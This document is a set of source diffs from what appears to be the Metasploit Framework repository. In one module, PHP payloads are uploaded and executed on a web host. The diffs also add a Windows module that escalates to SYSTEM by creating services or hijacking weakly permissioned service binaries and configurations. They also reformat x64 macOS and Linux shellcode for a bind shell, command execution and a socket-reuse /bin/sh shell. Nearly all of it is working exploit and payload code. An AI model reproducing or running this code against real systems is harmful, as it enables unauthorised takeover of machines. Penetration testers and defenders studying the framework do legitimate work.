# Embed our binary in PHP, and then extract/execute it on the host.
|
|
||||||
#
|
|
||||||
def get_write_exec_payload(fname, data)
|
|
||||||
p = Rex::Text.encode_base64(generate_payload_exe)
|
|
||||||
php = %Q|
|
|
||||||
<?php
|
|
||||||
$f = fopen("#{fname}", "wb");
|
|
||||||
fwrite($f, base64_decode("#{p}"));
|
|
||||||
fclose($f);
|
|
||||||
exec("chmod 777 #{fname}");
|
|
||||||
exec("#{fname}");
|
|
||||||
?>
|
|
||||||
|
|
|
||||||
php = php.gsub(/^\t\t/, '').gsub(/\n/, ' ')
|
|
||||||
return php
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
def on_new_session(cli)
|
|
||||||
if cli.type == "meterpreter"
|
|
||||||
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
|
|
||||||
end
|
|
||||||
|
|
||||||
@clean_files.each do |f|
|
|
||||||
print_status("#{@peer} - Removing: #{f}")
|
|
||||||
begin
|
|
||||||
if cli.type == 'meterpreter'
|
|
||||||
cli.fs.file.rm(f)
|
|
||||||
else
|
|
||||||
cli.shell_command_token("rm #{f}")
|
|
||||||
end
|
|
||||||
rescue ::Exception => e
|
|
||||||
print_error("#{@peer} - Unable to remove #{f}: #{e.message}")
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# login unfortunately is needed, because we need to make sure blogID is set, and the upload
|
# login unfortunately is needed, because we need to make sure blogID is set, and the upload
|
||||||
# script (uploadContent.inc.php) doesn't actually do that, even though we can access it
|
# script (uploadContent.inc.php) doesn't actually do that, even though we can access it
|
||||||
|
@ -198,18 +155,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
|
|
||||||
php_fname = "#{Rex::Text.rand_text_alpha(5)}.php"
|
php_fname = "#{Rex::Text.rand_text_alpha(5)}.php"
|
||||||
@clean_files = [php_fname]
|
|
||||||
|
|
||||||
case target['Platform']
|
|
||||||
when 'php'
|
|
||||||
p = "<?php #{payload.encoded} ?>"
|
|
||||||
when 'linux'
|
|
||||||
bin_name = "#{Rex::Text.rand_text_alpha(5)}.bin"
|
|
||||||
@clean_files << bin_name
|
|
||||||
bin = generate_payload_exe
|
|
||||||
p = get_write_exec_payload("/tmp/#{bin_name}", bin)
|
|
||||||
end
|
|
||||||
|
|
||||||
|
p = get_write_exec_payload(:unlink_self=>true)
|
||||||
upload_exec(cookie, base, php_fname, p)
|
upload_exec(cookie, base, php_fname, p)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -6,12 +6,13 @@
|
||||||
##
|
##
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
|
require 'msf/core/exploit/php_exe'
|
||||||
|
|
||||||
class Metasploit3 < Msf::Exploit::Remote
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
Rank = ExcellentRanking
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
include Msf::Exploit::Remote::HttpClient
|
include Msf::Exploit::Remote::HttpClient
|
||||||
include Msf::Exploit::EXE
|
include Msf::Exploit::PhpEXE
|
||||||
|
|
||||||
def initialize(info={})
|
def initialize(info={})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
|
@ -75,41 +76,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def get_write_exec_payload(fname, data)
|
|
||||||
p = Rex::Text.encode_base64(generate_payload_exe)
|
|
||||||
php = %Q|
|
|
||||||
<?php
|
|
||||||
$f = fopen("#{fname}", "wb");
|
|
||||||
fwrite($f, base64_decode("#{p}"));
|
|
||||||
fclose($f);
|
|
||||||
exec("chmod 777 #{fname}");
|
|
||||||
exec("#{fname}");
|
|
||||||
?>
|
|
||||||
|
|
|
||||||
php = php.gsub(/^\t\t/, '').gsub(/\n/, ' ')
|
|
||||||
return php
|
|
||||||
end
|
|
||||||
|
|
||||||
def on_new_session(cli)
|
|
||||||
if cli.type == "meterpreter"
|
|
||||||
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
|
|
||||||
end
|
|
||||||
|
|
||||||
@clean_files.each do |f|
|
|
||||||
print_debug("#{@peer} - Removing: #{f}")
|
|
||||||
begin
|
|
||||||
if cli.type == 'meterpreter'
|
|
||||||
cli.fs.file.rm(f)
|
|
||||||
else
|
|
||||||
cli.shell_command_token("rm #{f}")
|
|
||||||
end
|
|
||||||
print_debug("File removed: #{f}")
|
|
||||||
rescue ::Exception => e
|
|
||||||
print_error("#{@peer} - Unable to remove #{f}: #{e.message}")
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
def upload_php(base, fname, php_payload, folder_name)
|
def upload_php(base, fname, php_payload, folder_name)
|
||||||
data = Rex::MIME::Message.new
|
data = Rex::MIME::Message.new
|
||||||
data.add_part(folder_name, nil, nil, 'form-data; name="folder"')
|
data.add_part(folder_name, nil, nil, 'form-data; name="folder"')
|
||||||
|
@ -133,7 +99,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
# Body example:
|
# Body example:
|
||||||
# 0 ./upload/test/test.txt-0001
|
# 0 ./upload/test/test.txt-0001
|
||||||
uri = body.scan(/(\/.+$)/).flatten[0]
|
uri = body.scan(/(\/.+$)/).flatten[0]
|
||||||
@clean_files << File.basename(uri)
|
|
||||||
|
|
||||||
res = send_request_raw({'uri' => "#{base}/tools#{uri}"})
|
res = send_request_raw({'uri' => "#{base}/tools#{uri}"})
|
||||||
|
|
||||||
|
@ -151,19 +116,14 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
target_uri.path << '/' if target_uri.path[-1,1] != '/'
|
target_uri.path << '/' if target_uri.path[-1,1] != '/'
|
||||||
base = File.dirname("#{target_uri.path}.")
|
base = File.dirname("#{target_uri.path}.")
|
||||||
|
|
||||||
folder_name = Rex::Text.rand_text_alpha(4)
|
# Don't create a directory on the target since it complicates
|
||||||
|
# cleaning up after ourselves
|
||||||
|
#folder_name = Rex::Text.rand_text_alpha(4)
|
||||||
|
folder_name = ""
|
||||||
php_fname = "#{Rex::Text.rand_text_alpha(5)}.php.1"
|
php_fname = "#{Rex::Text.rand_text_alpha(5)}.php.1"
|
||||||
@clean_files = []
|
@clean_files = []
|
||||||
|
|
||||||
case target['Platform']
|
p = get_write_exec_payload(:unlink_self=>true)
|
||||||
when 'php'
|
|
||||||
p = "<?php #{payload.encoded} ?>"
|
|
||||||
when 'linux'
|
|
||||||
bin_name = "#{Rex::Text.rand_text_alpha(5)}.bin"
|
|
||||||
@clean_files << bin_name
|
|
||||||
bin = generate_payload_exe
|
|
||||||
p = get_write_exec_payload("/tmp/#{bin_name}", bin)
|
|
||||||
end
|
|
||||||
|
|
||||||
print_status("#{@peer} - Uploading PHP payload (#{p.length.to_s} bytes)...")
|
print_status("#{@peer} - Uploading PHP payload (#{p.length.to_s} bytes)...")
|
||||||
res = upload_php(base, php_fname, p, folder_name)
|
res = upload_php(base, php_fname, p, folder_name)
|
||||||
|
@ -177,3 +137,17 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
exec_php(base, res)
|
exec_php(base, res)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
=begin
|
||||||
|
Relevant code from tools/upload_file.php
|
||||||
|
|
||||||
|
$folder = rtrim( './upload/' . $_POST['folder'] , '/');
|
||||||
|
mkdir($folder, 0777, true);
|
||||||
|
|
||||||
|
$seq = str_pad((int) $_POST["part"],4,"0",STR_PAD_LEFT);
|
||||||
|
move_uploaded_file($_FILES["file"]["tmp_name"],
|
||||||
|
$folder . '/' . $_FILES["file"]["name"] . '-' . $seq );
|
||||||
|
|
||||||
|
Note that it stores the uploaded files in tools/upload/ not upload/
|
||||||
|
|
||||||
|
=end
|
||||||
|
|
|
@ -128,7 +128,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
# check for non vulnerable targets
|
# check for non vulnerable targets
|
||||||
if agent !~ /NT 5\.1/ or agent !~ /NT 6\.1/ and agent !~ /Firefox\/3\.6\.16/
|
if agent !~ /NT 5\.1/ or agent !~ /NT 6\.1/ and agent !~ /Firefox\/3\.6\.16/
|
||||||
vprint_error("Target not supported: #{agent}")
|
print_error("Target not supported: #{agent}")
|
||||||
send_not_found(cli)
|
send_not_found(cli)
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
|
@ -0,0 +1,199 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/core/post/windows/services'
|
||||||
|
require 'rex'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Local
|
||||||
|
Rank = GreatRanking
|
||||||
|
|
||||||
|
include Msf::Post::Windows::WindowsServices
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super( update_info( info,
|
||||||
|
'Name' => 'Windows Escalate Service Permissions Local Privilege Escalation',
|
||||||
|
'Description' => %q{
|
||||||
|
This module attempts to exploit existing administrative privileges to obtain
|
||||||
|
a SYSTEM session. If directly creating a service fails, this module will inspect
|
||||||
|
existing services to look for insecure file or configuration permissions that may
|
||||||
|
be hijacked. It will then attempt to restart the replaced service to run the
|
||||||
|
payload. This will result in a new session when this succeeds. If the module is
|
||||||
|
able to modify the service but does not have permission to start and stop the
|
||||||
|
affected service, the attacker must wait for the system to restart before a
|
||||||
|
session will be created.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' => [ 'scriptjunkie' ],
|
||||||
|
'Arch' => [ ARCH_X86 ],
|
||||||
|
'Platform' => [ 'windows' ],
|
||||||
|
'SessionTypes' => [ 'meterpreter' ],
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'EXITFUNC' => 'thread',
|
||||||
|
'WfsDelay' => '5'
|
||||||
|
},
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'Automatic', { } ],
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'DisclosureDate'=> "Oct 15, 2012"
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options([
|
||||||
|
OptBool.new("AGGRESSIVE", [ false, "Exploit as many services as possible (dangerous)", false ])
|
||||||
|
])
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
# randomize the filename
|
||||||
|
filename= Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
|
||||||
|
|
||||||
|
# randomize the exe name
|
||||||
|
tempexe_name = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
|
||||||
|
|
||||||
|
raw = payload.encoded
|
||||||
|
|
||||||
|
exe = Msf::Util::EXE.to_win32pe_service(session.framework, raw)
|
||||||
|
|
||||||
|
sysdir = session.fs.file.expand_path("%SystemRoot%")
|
||||||
|
tmpdir = session.fs.file.expand_path("%TEMP%")
|
||||||
|
|
||||||
|
print_status("Meterpreter stager executable #{exe.length} bytes long being uploaded..")
|
||||||
|
begin
|
||||||
|
#
|
||||||
|
# Upload the payload to the filesystem
|
||||||
|
#
|
||||||
|
tempexe = tmpdir + "\\" + tempexe_name
|
||||||
|
fd = session.fs.file.new(tempexe, "wb")
|
||||||
|
fd.write(exe)
|
||||||
|
fd.close
|
||||||
|
rescue ::Exception => e
|
||||||
|
print_error("Error uploading file #{filename}: #{e.class} #{e}")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
#attempt to make new service
|
||||||
|
|
||||||
|
#SERVICE_NO_CHANGE 0xffffffff for DWORDS or NULL for pointer values leaves the current config
|
||||||
|
|
||||||
|
print_status("Trying to add a new service...")
|
||||||
|
adv = session.railgun.advapi32
|
||||||
|
manag = adv.OpenSCManagerA(nil,nil,0x10013)
|
||||||
|
if(manag["return"] != 0)
|
||||||
|
# SC_MANAGER_CREATE_SERVICE = 0x0002
|
||||||
|
# SERVICE_START=0x0010 SERVICE_WIN32_OWN_PROCESS= 0X00000010
|
||||||
|
# SERVICE_AUTO_START = 2 SERVICE_ERROR_IGNORE = 0
|
||||||
|
newservice = adv.CreateServiceA(manag["return"],Rex::Text.rand_text_alpha((rand(8)+6)),
|
||||||
|
"",0x0010,0X00000010,2,0,tempexe,nil,nil,nil,nil,nil)
|
||||||
|
if(newservice["return"] != 0)
|
||||||
|
print_status("Created service... #{newservice["return"]}")
|
||||||
|
ret = adv.StartServiceA(newservice["return"], 0, nil)
|
||||||
|
print_status("Service should be started! Enjoy your new SYSTEM meterpreter session.")
|
||||||
|
adv.DeleteService(newservice["return"])
|
||||||
|
adv.CloseServiceHandle(newservice["return"])
|
||||||
|
if datastore['AGGRESSIVE'] != true
|
||||||
|
adv.CloseServiceHandle(manag["return"])
|
||||||
|
return
|
||||||
|
end
|
||||||
|
else
|
||||||
|
print_error("Uhoh. service creation failed, but we should have the permissions. :-(")
|
||||||
|
end
|
||||||
|
else
|
||||||
|
print_status("No privs to create a service...")
|
||||||
|
manag = adv.OpenSCManagerA(nil,nil,1)
|
||||||
|
if(manag["return"] == 0)
|
||||||
|
print_status("Cannot open sc manager. You must have no privs at all. Ridiculous.")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
print_status("Trying to find weak permissions in existing services..")
|
||||||
|
#Search through list of services to find weak permissions, whether file or config
|
||||||
|
serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services"
|
||||||
|
#for each service
|
||||||
|
service_list.each do |serv|
|
||||||
|
begin
|
||||||
|
srvtype = registry_getvaldata("#{serviceskey}\\#{serv}","Type").to_s
|
||||||
|
if srvtype != "16"
|
||||||
|
continue
|
||||||
|
end
|
||||||
|
moved = false
|
||||||
|
configed = false
|
||||||
|
#default path, but there should be an ImagePath registry key
|
||||||
|
source = session.fs.file.expand_path("%SYSTEMROOT%\\system32\\#{serv}.exe")
|
||||||
|
#get path to exe; parse out quotes and arguments
|
||||||
|
sourceorig = registry_getvaldata("#{serviceskey}\\#{serv}","ImagePath").to_s
|
||||||
|
sourcemaybe = session.fs.file.expand_path(sourceorig)
|
||||||
|
if( sourcemaybe[0] == '"' )
|
||||||
|
sourcemaybe = sourcemaybe.split('"')[1]
|
||||||
|
else
|
||||||
|
sourcemaybe = sourcemaybe.split(' ')[0]
|
||||||
|
end
|
||||||
|
begin
|
||||||
|
session.fs.file.stat(sourcemaybe) #check if it really exists
|
||||||
|
source = sourcemaybe
|
||||||
|
rescue
|
||||||
|
print_status("Cannot reliably determine path for #{serv} executable. Trying #{source}")
|
||||||
|
end
|
||||||
|
#try to exploit weak file permissions
|
||||||
|
if(source != tempexe && session.railgun.kernel32.MoveFileA(source, source+'.bak')["return"])
|
||||||
|
session.railgun.kernel32.CopyFileA(tempexe, source, false)
|
||||||
|
print_status("#{serv} has weak file permissions - #{source} moved to #{source+'.bak'} and replaced.")
|
||||||
|
moved = true
|
||||||
|
end
|
||||||
|
#try to exploit weak config permissions
|
||||||
|
#open with SERVICE_CHANGE_CONFIG (0x0002)
|
||||||
|
servhandleret = adv.OpenServiceA(manag["return"],serv,2)
|
||||||
|
if(servhandleret["return"] != 0)
|
||||||
|
#SERVICE_NO_CHANGE is 0xFFFFFFFF
|
||||||
|
if(adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,
|
||||||
|
0xFFFFFFFF,0xFFFFFFFF,tempexe,nil,nil,nil,nil,nil,nil))
|
||||||
|
print_status("#{serv} has weak configuration permissions - reconfigured to use exe #{tempexe}.")
|
||||||
|
configed = true
|
||||||
|
end
|
||||||
|
adv.CloseServiceHandle(servhandleret["return"])
|
||||||
|
|
||||||
|
end
|
||||||
|
if(moved != true && configed != true)
|
||||||
|
print_status("No exploitable weak permissions found on #{serv}")
|
||||||
|
continue
|
||||||
|
end
|
||||||
|
print_status("Restarting #{serv}")
|
||||||
|
#open with SERVICE_START (0x0010) and SERVICE_STOP (0x0020)
|
||||||
|
servhandleret = adv.OpenServiceA(manag["return"],serv,0x30)
|
||||||
|
if(servhandleret["return"] != 0)
|
||||||
|
#SERVICE_CONTROL_STOP = 0x00000001
|
||||||
|
if(adv.ControlService(servhandleret["return"],1,56))
|
||||||
|
session.railgun.kernel32.Sleep(1000)
|
||||||
|
adv.StartServiceA(servhandleret["return"],0,nil)
|
||||||
|
print_status("#{serv} restarted. You should get a system meterpreter soon. Enjoy.")
|
||||||
|
#Cleanup
|
||||||
|
if moved == true
|
||||||
|
session.railgun.kernel32.MoveFileExA(source+'.bak', source, 1)
|
||||||
|
end
|
||||||
|
if configed == true
|
||||||
|
servhandleret = adv.OpenServiceA(manag["return"],serv,2)
|
||||||
|
adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,
|
||||||
|
0xFFFFFFFF,0xFFFFFFFF,sourceorig,nil,nil,nil,nil,nil,nil)
|
||||||
|
adv.CloseServiceHandle(servhandleret["return"])
|
||||||
|
end
|
||||||
|
else
|
||||||
|
print_status("Could not restart #{serv}. Wait for a reboot or force one yourself.")
|
||||||
|
end
|
||||||
|
adv.CloseServiceHandle(servhandleret["return"])
|
||||||
|
if datastore['AGGRESSIVE'] != true
|
||||||
|
return
|
||||||
|
end
|
||||||
|
else
|
||||||
|
print_status("Could not restart #{serv}. Wait for a reboot. (or force one yourself)")
|
||||||
|
end
|
||||||
|
rescue
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -38,50 +38,50 @@ module Metasploit3
|
||||||
'CPORT' => [ 32, 'n' ],
|
'CPORT' => [ 32, 'n' ],
|
||||||
},
|
},
|
||||||
|
|
||||||
'Assembly' => <<EOS
|
'Assembly' => %Q|
|
||||||
xor rdi,rdi
|
xor rdi,rdi
|
||||||
xor rbx,rbx
|
xor rbx,rbx
|
||||||
mov bl,0x14
|
mov bl,0x14
|
||||||
sub rsp,rbx
|
sub rsp,rbx
|
||||||
lea rdx,[rsp]
|
lea rdx,[rsp]
|
||||||
lea rsi,[rsp+4]
|
lea rsi,[rsp+4]
|
||||||
find_port:
|
find_port:
|
||||||
push 0x34 ; getpeername
|
push 0x34 ; getpeername
|
||||||
pop rax
|
pop rax
|
||||||
syscall
|
syscall
|
||||||
inc rdi
|
inc rdi
|
||||||
cmp word [rsi+2],0x4142
|
cmp word [rsi+2],0x4142
|
||||||
jne find_port
|
jne find_port
|
||||||
dec rdi
|
dec rdi
|
||||||
push 2
|
push 2
|
||||||
pop rsi
|
pop rsi
|
||||||
dup2:
|
dup2:
|
||||||
push 0x21 ; dup2
|
push 0x21 ; dup2
|
||||||
pop rax
|
pop rax
|
||||||
syscall
|
syscall
|
||||||
dec rsi
|
dec rsi
|
||||||
jns dup2
|
jns dup2
|
||||||
mov rbx,rsi
|
mov rbx,rsi
|
||||||
mov ebx, 0x68732f41
|
mov ebx, 0x68732f41
|
||||||
mov eax,0x6e69622f
|
mov eax,0x6e69622f
|
||||||
shr rbx,8
|
shr rbx,8
|
||||||
shl rbx,32
|
shl rbx,32
|
||||||
or rax,rbx
|
or rax,rbx
|
||||||
push rax
|
push rax
|
||||||
mov rdi,rsp
|
mov rdi,rsp
|
||||||
xor rsi,rsi
|
xor rsi,rsi
|
||||||
mov rdx,rsi
|
mov rdx,rsi
|
||||||
push 0x3b ; execve
|
push 0x3b ; execve
|
||||||
pop rax
|
pop rax
|
||||||
syscall
|
syscall
|
||||||
EOS
|
|
|
||||||
}
|
}
|
||||||
))
|
))
|
||||||
end
|
end
|
||||||
|
|
||||||
def size
|
def size
|
||||||
return 91
|
return 91
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -38,10 +38,10 @@ module Metasploit3
|
||||||
payload =
|
payload =
|
||||||
"\x48\x31\xC0" + # xor rax,rax
|
"\x48\x31\xC0" + # xor rax,rax
|
||||||
"\xB8\x3B\x00\x00\x02" + # mov eax,0x200003b
|
"\xB8\x3B\x00\x00\x02" + # mov eax,0x200003b
|
||||||
call +
|
call +
|
||||||
"/usr/bin/say\x00" +
|
"/usr/bin/say\x00" +
|
||||||
say +
|
say +
|
||||||
"\x48\x8B\x3C\x24" + # mov rdi,[rsp]
|
"\x48\x8B\x3C\x24" + # mov rdi,[rsp]
|
||||||
"\x4C\x8D\x57\x0D" + # lea r10,[rdi+0xd]
|
"\x4C\x8D\x57\x0D" + # lea r10,[rdi+0xd]
|
||||||
"\x48\x31\xD2" + # xor rdx,rdx
|
"\x48\x31\xD2" + # xor rdx,rdx
|
||||||
"\x52" + # push rdx
|
"\x52" + # push rdx
|
||||||
|
|
|
@ -44,41 +44,41 @@ module Metasploit3
|
||||||
cmd = (datastore['CMD'] || '') << "\x00"
|
cmd = (datastore['CMD'] || '') << "\x00"
|
||||||
call = "\xe8" + [cmd.length].pack('V')
|
call = "\xe8" + [cmd.length].pack('V')
|
||||||
|
|
||||||
payload =
|
payload =
|
||||||
"\x48\x31\xFF" + # xor rdi,rdi
|
"\x48\x31\xFF" + # xor rdi,rdi
|
||||||
"\x57" + # push rdi
|
"\x57" + # push rdi
|
||||||
"\x48\x89\xE6" + # mov rsi,rsp
|
"\x48\x89\xE6" + # mov rsi,rsp
|
||||||
"\x6A\x04" + # push byte +0x4
|
"\x6A\x04" + # push byte +0x4
|
||||||
"\x5A" + # pop rdx
|
"\x5A" + # pop rdx
|
||||||
"\x48\x8D\x4A\xFE" + # lea rcx,[rdx-0x2]
|
"\x48\x8D\x4A\xFE" + # lea rcx,[rdx-0x2]
|
||||||
"\x4D\x31\xC0" + # xor r8,r8
|
"\x4D\x31\xC0" + # xor r8,r8
|
||||||
"\x4D\x31\xC9" + # xor r9,r9
|
"\x4D\x31\xC9" + # xor r9,r9
|
||||||
"\x48\xFF\xCF" + # dec rdi
|
"\x48\xFF\xCF" + # dec rdi
|
||||||
"\x48\xFF\xC7" + # inc rdi
|
"\x48\xFF\xC7" + # inc rdi
|
||||||
"\xB8\x1D\x00\x00\x02" + # mov eax,0x200001d
|
"\xB8\x1D\x00\x00\x02" + # mov eax,0x200001d
|
||||||
"\x0F\x05" + # loadall286
|
"\x0F\x05" + # loadall286
|
||||||
"\x81\x3C\x24" + # cmp dword [rsp],0x4e454d4f
|
"\x81\x3C\x24" + # cmp dword [rsp],0x4e454d4f
|
||||||
datastore['TAG'] +
|
datastore['TAG'] +
|
||||||
"\x75\xED" + # jnz 0x17
|
"\x75\xED" + # jnz 0x17
|
||||||
"\x48\x31\xC9" + # xor rcx,rcx
|
"\x48\x31\xC9" + # xor rcx,rcx
|
||||||
"\xB8\x1D\x00\x00\x02" + # mov eax,0x200001d
|
"\xB8\x1D\x00\x00\x02" + # mov eax,0x200001d
|
||||||
"\x0F\x05" + # loadall286
|
"\x0F\x05" + # loadall286
|
||||||
"\xB8\x5A\x00\x00\x02" + # mov eax,0x200005a
|
"\xB8\x5A\x00\x00\x02" + # mov eax,0x200005a
|
||||||
"\x48\x31\xF6" + # xor rsi,rsi
|
"\x48\x31\xF6" + # xor rsi,rsi
|
||||||
"\x0F\x05" + # loadall286
|
"\x0F\x05" + # loadall286
|
||||||
"\xB8\x5A\x00\x00\x02" + # mov eax,0x200005a
|
"\xB8\x5A\x00\x00\x02" + # mov eax,0x200005a
|
||||||
"\x48\xFF\xC6" + # inc rsi
|
"\x48\xFF\xC6" + # inc rsi
|
||||||
"\x0F\x05" + # loadall286
|
"\x0F\x05" + # loadall286
|
||||||
"\x48\x31\xC0" + # xor rax,rax
|
"\x48\x31\xC0" + # xor rax,rax
|
||||||
"\xB8\x3B\x00\x00\x02" + # mov eax,0x200003b
|
"\xB8\x3B\x00\x00\x02" + # mov eax,0x200003b
|
||||||
call +
|
call +
|
||||||
cmd +
|
cmd +
|
||||||
"\x48\x8B\x3C\x24" + # mov rdi,[rsp]
|
"\x48\x8B\x3C\x24" + # mov rdi,[rsp]
|
||||||
"\x48\x31\xD2" + # xor rdx,rdx
|
"\x48\x31\xD2" + # xor rdx,rdx
|
||||||
"\x52" + # push rdx
|
"\x52" + # push rdx
|
||||||
"\x57" + # push rdi
|
"\x57" + # push rdi
|
||||||
"\x48\x89\xE6" + # mov rsi,rsp
|
"\x48\x89\xE6" + # mov rsi,rsp
|
||||||
"\x0F\x05" # loadall286
|
"\x0F\x05" # loadall286
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -24,6 +24,7 @@ require 'msf/core'
|
||||||
module Metasploit3
|
module Metasploit3
|
||||||
|
|
||||||
include Msf::Payload::Single
|
include Msf::Payload::Single
|
||||||
|
include Msf::Payload::Osx
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(merge_info(info,
|
super(merge_info(info,
|
||||||
|
@ -45,7 +46,7 @@ module Metasploit3
|
||||||
#
|
#
|
||||||
# Dynamically builds the exec payload based on the user's options.
|
# Dynamically builds the exec payload based on the user's options.
|
||||||
#
|
#
|
||||||
def generate
|
def generate_stage
|
||||||
cmd = datastore['CMD'] || ''
|
cmd = datastore['CMD'] || ''
|
||||||
len = cmd.length + 1
|
len = cmd.length + 1
|
||||||
payload =
|
payload =
|
||||||
|
|
|
@ -27,67 +27,67 @@ module Metasploit3
|
||||||
{
|
{
|
||||||
'Offsets' => { 'LPORT' => [ 31, 'n'] },
|
'Offsets' => { 'LPORT' => [ 31, 'n'] },
|
||||||
'Payload' =>
|
'Payload' =>
|
||||||
"\xB8\x61\x00\x00\x02" + # mov eax,0x2000061
|
"\xB8\x61\x00\x00\x02" + # mov eax,0x2000061
|
||||||
"\x6A\x02" + # push byte +0x2
|
"\x6A\x02" + # push byte +0x2
|
||||||
"\x5F" + # pop rdi
|
"\x5F" + # pop rdi
|
||||||
"\x6A\x01" + # push byte +0x1
|
"\x6A\x01" + # push byte +0x1
|
||||||
"\x5E" + # pop rsi
|
"\x5E" + # pop rsi
|
||||||
"\x48\x31\xD2" + # xor rdx,rdx
|
"\x48\x31\xD2" + # xor rdx,rdx
|
||||||
"\x0F\x05" + # loadall286
|
"\x0F\x05" + # loadall286
|
||||||
"\x48\x89\xC7" + # mov rdi,rax
|
"\x48\x89\xC7" + # mov rdi,rax
|
||||||
"\xB8\x68\x00\x00\x02" + # mov eax,0x2000068
|
"\xB8\x68\x00\x00\x02" + # mov eax,0x2000068
|
||||||
"\x48\x31\xF6" + # xor rsi,rsi
|
"\x48\x31\xF6" + # xor rsi,rsi
|
||||||
"\x56" + # push rsi
|
"\x56" + # push rsi
|
||||||
"\xBE\x00\x02\x15\xB3" + # mov esi,0xb3150200
|
"\xBE\x00\x02\x15\xB3" + # mov esi,0xb3150200
|
||||||
"\x56" + # push rsi
|
"\x56" + # push rsi
|
||||||
"\x48\x89\xE6" + # mov rsi,rsp
|
"\x48\x89\xE6" + # mov rsi,rsp
|
||||||
"\x6A\x10" + # push byte +0x10
|
"\x6A\x10" + # push byte +0x10
|
||||||
"\x5A" + # pop rdx
|
"\x5A" + # pop rdx
|
||||||
"\x0F\x05" + # loadall286
|
"\x0F\x05" + # loadall286
|
||||||
"\xB8\x6A\x00\x00\x02" + # mov eax,0x200006a
|
"\xB8\x6A\x00\x00\x02" + # mov eax,0x200006a
|
||||||
"\x48\x31\xF6" + # xor rsi,rsi
|
"\x48\x31\xF6" + # xor rsi,rsi
|
||||||
"\x48\xFF\xC6" + # inc rsi
|
"\x48\xFF\xC6" + # inc rsi
|
||||||
"\x49\x89\xFC" + # mov r12,rdi
|
"\x49\x89\xFC" + # mov r12,rdi
|
||||||
"\x0F\x05" + # loadall286
|
"\x0F\x05" + # loadall286
|
||||||
"\xB8\x1E\x00\x00\x02" + # mov eax,0x200001e
|
"\xB8\x1E\x00\x00\x02" + # mov eax,0x200001e
|
||||||
"\x4C\x89\xE7" + # mov rdi,r12
|
"\x4C\x89\xE7" + # mov rdi,r12
|
||||||
"\x48\x89\xE6" + # mov rsi,rsp
|
"\x48\x89\xE6" + # mov rsi,rsp
|
||||||
"\x48\x89\xE2" + # mov rdx,rsp
|
"\x48\x89\xE2" + # mov rdx,rsp
|
||||||
"\x48\x83\xEA\x04" + # sub rdx,byte +0x4
|
"\x48\x83\xEA\x04" + # sub rdx,byte +0x4
|
||||||
"\x0F\x05" + # loadall286
|
"\x0F\x05" + # loadall286
|
||||||
"\x49\x89\xC5" + # mov r13,rax
|
"\x49\x89\xC5" + # mov r13,rax
|
||||||
"\x48\x89\xC7" + # mov rdi,rax
|
"\x48\x89\xC7" + # mov rdi,rax
|
||||||
"\xB8\x1D\x00\x00\x02" + # mov eax,0x200001d
|
"\xB8\x1D\x00\x00\x02" + # mov eax,0x200001d
|
||||||
"\x48\x31\xC9" + # xor rcx,rcx
|
"\x48\x31\xC9" + # xor rcx,rcx
|
||||||
"\x51" + # push rcx
|
"\x51" + # push rcx
|
||||||
"\x48\x89\xE6" + # mov rsi,rsp
|
"\x48\x89\xE6" + # mov rsi,rsp
|
||||||
"\xBA\x04\x00\x00\x00" + # mov edx,0x4
|
"\xBA\x04\x00\x00\x00" + # mov edx,0x4
|
||||||
"\x4D\x31\xC0" + # xor r8,r8
|
"\x4D\x31\xC0" + # xor r8,r8
|
||||||
"\x4D\x31\xD2" + # xor r10,r10
|
"\x4D\x31\xD2" + # xor r10,r10
|
||||||
"\x0F\x05" + # loadall286
|
"\x0F\x05" + # loadall286
|
||||||
"\x41\x5B" + # pop r11
|
"\x41\x5B" + # pop r11
|
||||||
"\x4C\x89\xDE" + # mov rsi,r11
|
